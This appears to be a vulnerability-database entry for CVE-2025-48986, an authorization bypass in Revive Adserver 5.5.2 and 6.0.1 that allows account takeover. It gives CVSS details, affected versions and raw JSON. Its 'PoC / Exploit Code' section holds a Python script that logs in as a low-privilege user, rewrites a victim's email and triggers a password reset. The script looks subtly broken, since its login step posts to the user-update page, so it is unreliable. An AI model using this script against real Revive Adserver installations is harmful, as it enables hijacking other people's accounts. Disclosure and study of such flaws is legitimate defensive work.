Security Vulnerability Report
中文
CVE-2025-48986 CVSS 8.8 HIGH

CVE-2025-48986

Published: 2025-11-20 20:16:22
Last Modified: 2025-11-25 18:57:30

Description

Authorization bypass in Revive Adserver 5.5.2 and 6.0.1 and earlier versions causes an logged in attacker to change other users' email address and potentialy take over their accounts using the forgot password functionality.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:* - VULNERABLE
Revive Adserver <= 5.5.2
Revive Adserver <= 6.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-48986 PoC - Authorization Bypass in Revive Adserver # Target: Revive Adserver <= 5.5.2 / <= 6.0.1 TARGET_URL = "http://target.com/revive-adserver" ATTACKER_USERNAME = "[email protected]" ATTACKER_PASSWORD = "attacker_password" TARGET_USER_ID = 2 # Victim user ID to be modified ATTACKER_CONTROLLED_EMAIL = "[email protected]" session = requests.Session() # Step 1: Login as low-privilege user login_url = f"{TARGET_URL}/account-user-update.php" login_data = { "email": ATTACKER_USERNAME, "password": ATTACKER_PASSWORD } response = session.post(login_url, data=login_data) # Step 2: Exploit authorization bypass to change victim's email # The vulnerability is in the user update process where userid is not properly validated exploit_url = f"{TARGET_URL}/account-user-update.php" exploit_data = { "userid": TARGET_USER_ID, # Bypassing authorization to modify other user "email": ATTACKER_CONTROLLED_EMAIL, "submit": "Update" } response = session.post(exploit_url, data=exploit_data) # Step 3: Use forgot password functionality to reset victim's password forgot_url = f"{TARGET_URL}/password-reminder.php" forgot_data = { "email": ATTACKER_CONTROLLED_EMAIL, "submit": "Send" } response = session.post(forgot_url, data=forgot_data) print("PoC executed. Check attacker-controlled email for password reset link.") print("Note: This PoC is for educational and authorized testing purposes only.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48986", "sourceIdentifier": "[email protected]", "published": "2025-11-20T20:16:22.407", "lastModified": "2025-11-25T18:57:29.873", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization bypass in Revive Adserver 5.5.2 and 6.0.1 and earlier versions causes an logged in attacker to change other users' email address and potentialy take over their accounts using the forgot password functionality."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.5.2", "matchCriteriaId": "47AC2D81-BA0C-404A-B6F6-31151956D422"}, {"vulnerable": true, "criteria": "cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndIncluding": "6.0.1", "matchCriteriaId": "42E4B7BD-5F7B-4FBE-93D2-C19F30FA5A51"}]}]}], "references": [{"url": "https://hackerone.com/reports/3398283", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://hackerone.com/reports/3398283", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}